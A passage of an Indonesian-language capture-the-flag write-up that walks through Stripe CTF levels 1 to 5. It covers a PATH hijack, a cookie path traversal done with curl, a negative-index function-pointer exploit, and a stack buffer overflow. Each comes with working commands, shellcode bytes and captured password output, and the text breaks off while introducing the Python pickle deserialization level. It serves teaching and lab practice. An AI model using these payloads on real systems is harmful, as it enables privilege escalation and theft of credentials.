Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh programmernya adalah /bin/date yang menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari environment variable PATH.

Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p
> cat /home/level02/.password' > date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date
-rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: kxlVXUvzv

Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.

Level 02

Setelah mendapatkan password level02, kita ssh ke [email protected]. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.

Congratulations on making it to level 2!

The password for the next level is in /home/level03/.password. This
one is a web-based vulnerability, so go ahead and point your browser
to http://ctf.stri.pe/level02.php. You'll need to provide the password
for level02 using HTTP digest authentication.

You can find the source code for level02.php in /var/www/.

Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.

Mari kita lihat source code aplikasinya:

Looks like a first time user. Hello, there!

"; $filename = random_string(16) . ".txt"; $f = fopen('/tmp/level02/' . $filename, 'w'); $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT']; fwrite($f, $str); fclose($f); setcookie('user_details', $filename); } else { $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']); } ?> Level02

Welcome to the challenge!

Name:
Age:

Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.

Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?

Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string “/tmp/level02/” sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.

Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca “/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi “../../etc/passwd” ? Nama file yang akan dibaca menjadi “/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.

$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php

  
    Level02
  
  
    

Welcome to the challenge!

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:107::/var/run/dbus:/bin/false haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin landscape:x:105:109::/var/lib/landscape:/bin/false ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash postfix:x:106:113::/var/spool/postfix:/bin/false level01:x:1001:1002::/home/level01:/bin/bash level02:x:1002:1003::/home/level02:/bin/bash level03:x:1003:1004::/home/level03:/bin/bash level04:x:1004:1005::/home/level04:/bin/bash level05:x:1005:1006::/home/level05:/bin/bash level06:x:1006:1007::/home/level06:/bin/bash the-flag:x:1007:1008::/home/the-flag:/bin/bash

Name:
Age:

Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi “../../home/level03/.password”.

$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php

  
    Level02
  
  
    

Welcome to the challenge!

Or0m4UX07b

Name:
Age:

Level 03

Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.

Congratulations on making it to level 3!

The password for the next level is in /home/level04/.password. As
before, you may find /levels/level03 and /levels/level03.c useful.
While the supplied binary mostly just does mundane tasks, we trust
you'll find a way of making it do something much more interesting.

Sebelumnya mari kita coba dulu aplikasi /levels/level03.

level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test
Uppercased string: TEST
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test
Lowercased string: test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test
Capitalized string: Test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test
Length of string 'test': 4
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length

Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?

Berikut ini adalah source code aplikasinya.

#include 
#include 
#include 
#include 

#define NUM_FNS 4

typedef int (*fn_ptr)(const char *);

int to_upper(const char *str)
{
  printf("Uppercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(toupper(str[i]));
  printf("\n");
  return 0;
}

int to_lower(const char *str)
{
  printf("Lowercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n");
  return 0;
}

int capitalize(const char *str)
{
  printf("Capitalized string: ");
  putchar(toupper(str[0]));
  int i = 1;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n", str);
  return 0;
}

int length(const char *str)
{
  int len = 0;
  for (len; str[len]; len++) {}

  printf("Length of string '%s': %d\n", str, len);
  return 0;
}

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};

  if (argc != 3) {
    printf("Usage: ./level03 INDEX STRING\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }

  // Parse supplied index
  index = atoi(argv[1]);

  if (index >= NUM_FNS) {
    printf("Invalid index.\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }

  return truncate_and_call(fns, index, argv[2]);
}

Unsafe Function Pointer Usage

Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.

Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.

Array index out of bounds

Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.

Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).

Negative index array

Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.

Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?

index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.

Cara 1

Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).

Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).

$ objdump -d /levels/level03|grep call|grep eax
 8048598:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 80485df:       ff d0                   call   *%eax
 804892b:       ff d0                   call   *%eax

Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.

Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.

Jadi payload yang akan diinjeksi adalah:

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08

35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?

Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.

Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi “call eax”.

Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.

Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.

Ternyata penyebabnya adalah non-executable stack:

$ readelf -l /levels/level03 |grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
$ fvvvvv

Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.


Cara 2

Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.

level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep ''
0804875b :

Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:

cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08

Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).

$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"

Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20,
    user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b")
    at level03.c:62

(gdb) x/12xw &buf
0xffb23f8c:     0x20746163      0x6d6f682f      0x656c2f65      0x306c6576
0xffb23f9c:     0x702e2f34      0x77737361      0x0a64726f      0x230a0a0a
0xffb23fac:     0x0804875b      0x00000000      0x00000000      0x00000000
(gdb) p &fns[-20]
$1 = (fn_ptr *) 0xffb23fac
(gdb) p *(fns[-20])
$2 = {int (const char *)} 0x804875b 

Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0x20746163 = “cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”). Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().

Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().

$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
i5cBbPvPCpcP

Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.

Level 04

Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password

Congratulations on making it to level 4!

The password for the next level is in /home/level05/.password. As
before, you may find /levels/level04 and /levels/level04.c useful.
The vulnerabilities overfloweth!

Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100')
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Source code dari aplikasi ini adalah:

#include 
#include 
#include 

void fun(char *str)
{
  char buf[1024];
  strcpy(buf, str);
}

int main(int argc, char **argv)
{
  if (argc != 2) {
    printf("Usage: ./level04 STRING");
    exit(-1);
  }
  fun(argv[1]);
  printf("Oh no! That didn't work!\n");
  return 0;
}

Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.

Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:

[1036 byte shellcode + lain2] + [4 byte return address]

Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?

Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.

Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.

$ objdump -d /levels/level04|grep call |grep eax
 8048438:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 804847f:       ff d0                   call   *%eax
 804857b:       ff d0                   call   *%eax

Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.

Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"

Sekarang payload sudah siap, bisa langsung kita coba.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami
level04
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"')
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317

Level 05

Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.

Congratulations on making it to level 5! You're almost done!

The password for the next (and final) level is in /home/level06/.password.

As it turns out, level06 is running a public uppercasing service. You
 can POST data to it, and it'll uppercase the data for you:

  curl localhost:9020 -d 'hello friend'
  {
      "processing_time": 5.0067901611328125e-06,
      "queue_time": 0.41274619102478027,
      "result": "HELLO FRIEND"
  }

You can view the source for this service in /levels/level05. As you
can see, the service is structured as a queue server and a queue
worker.

Could it be that this seemingly innocuous service will be level06's
downfall?

Source code aplikasi ini adalah:

#!/usr/bin/env python
import logging
import json
import optparse
import os
import pickle
import random
import re
import string
import sys
import time
import traceback
import urllib

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

LOGGER_NAME = 'queue'
logger = logging.getLogger(LOGGER_NAME)
logger.addHandler(logging.StreamHandler(sys.stderr))

TMPDIR = '/tmp/level05'


class Job(object):
    QUEUE_JOBS = os.path.join(TMPDIR, 'jobs')
    QUEUE_RESULTS = os.path.join(TMPDIR, 'results')

    def __init__(self):
        self.id = self.generate_id()
        self.created = time.time()
        self.started = None
        self.completed = None

    def generate_id(self):
        return ''.join([random.choice(string.ascii_letters) for i in range(20)])

    def job_file(self):
        return os.path.join(self.QUEUE_JOBS, self.id)

    def result_file(self):
        return os.path.join(self.QUEUE_RESULTS, self.id)

    def start(self):
        self.started = time.time()

    def complete(self):
        self.completed = time.time()


class QueueUtils(object):
    @staticmethod
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job

    @staticmethod
    def serialize(direction, data, job):
        serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
        logger.debug('Serialized to: %r' % serialized)
        return serialized

    @staticmethod
    def enqueue(type, data, job):
        logger.info('Writing out %s data for job id %s' % (type, job.id))
        if type == 'JOB':
            file = job.job_file()
        elif type == 'RESULT':
            file = job.result_file()
        else:
            raise ValueError('Invalid type %s' % type)

        serialized = QueueUtils.serialize(type, data, job)
        with open(file, 'w') as f:
            f.write(serialized)
            f.close()


class QueueServer(object):
    # Called in server
    def run_job(self, data, job):
        QueueUtils.enqueue('JOB', data, job)
        result = self.wait(job)
        if not result:
            result = (None, 'Job timed out', None)
        return result

    def wait(self, job):
        job_complete = False
        for i in range(10):
            if os.path.exists(job.result_file()):
                logger.debug('Results file %s found' % job.result_file())
                job_complete = True
                break
            else:
                logger.debug('Results file %s does not exist; sleeping' % job.result_file())
                time.sleep(0.2)

        if job_complete:
            f = open(job.result_file())
            result = f.read()
            os.unlink(job.result_file())
            return QueueUtils.deserialize(result)
        else:
            return None


class QueueWorker(object):
    def __init__(self):
        # ensure tmp directories exist
        if not os.path.exists(Job.QUEUE_JOBS):
            os.mkdir(Job.QUEUE_JOBS)
        if not os.path.exists(Job.QUEUE_RESULTS):
            os.mkdir(Job.QUEUE_RESULTS)

    def poll(self):
        while True:
            available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)]
            for job_file in available_jobs:
                try:
                    self.process(job_file)
                except Exception, e:
                    logger.error('Error processing %s' % job_file)
                    traceback.print_exc()
                else:
                    logger.debug('Successfully processed %s' % job_file)
                finally:
                    os.unlink(job_file)
            if available_jobs:
                logger.info('Processed %d available jobs' % len(available_jobs))
            else:
                time.sleep(1)

    def process(self, job_file):
        serialized = open(job_file).read()
        type, data, job = QueueUtils.deserialize(serialized)

        job.start()
        result_data = self.perform(data)
        job.complete()

        QueueUtils.enqueue('RESULT', result_data, job)

    def perform(self, data):
        return data.upper()


class QueueHttpServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(404)
        self.send_header('Content-type','text/plain')
        self.end_headers()

        output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." }
        self.wfile.write(json.dumps(output))
        self.wfile.close()

    def do_POST(self):
        length = int(self.headers.getheader('content-length'))
        post_data = self.rfile.read(length)
        raw_data = urllib.unquote(post_data)

        queue = QueueServer()
        job = Job()
        type, data, job = queue.run_job(data=raw_data, job=job)
        if job:
            status = 200
            output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created }
        else:
            status = 504
            output = { 'result' : data }

        self.send_response(status)
        self.send_header('Content-type','text/plain')
        self.end_headers()
        self.wfile.write(json.dumps(output, sort_keys=True, indent=4))
        self.wfile.write('\n')
        self.wfile.close()

def run_server():
    try:
        server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer)
        logger.info('Starting QueueServer')
        server.serve_forever()
    except KeyboardInterrupt:
        logger.info('^C received, shutting down server')
        server.socket.close()

def run_worker():
    worker = QueueWorker()
    worker.poll()

def main():
    parser = optparse.OptionParser("""%prog [options] type""")
    parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.',
                      dest='verbosity', action='count', default=0)
    opts, args = parser.parse_args()
    if opts.verbosity == 1:
        logger.setLevel(logging.INFO)
    elif opts.verbosity >= 2:
        logger.setLevel(logging.DEBUG)

    if len(args) != 1:
        parser.print_help()
        return 1

    if args[0] == 'worker':
        run_worker()
    elif args[0] == 'server':
        run_server()
    else:
        raise ValueError('Invalid type %s' % args[0])

    return 0

if __name__ == '__main__':
    sys.exit(main())

Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.

Problem utamanya adalah pada fungsi deserialize() di bawah ini:

    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job

Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.

Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:

curl localhost:9020 -d 'testdata' 

Berikut ini adalah log yang terlihat:

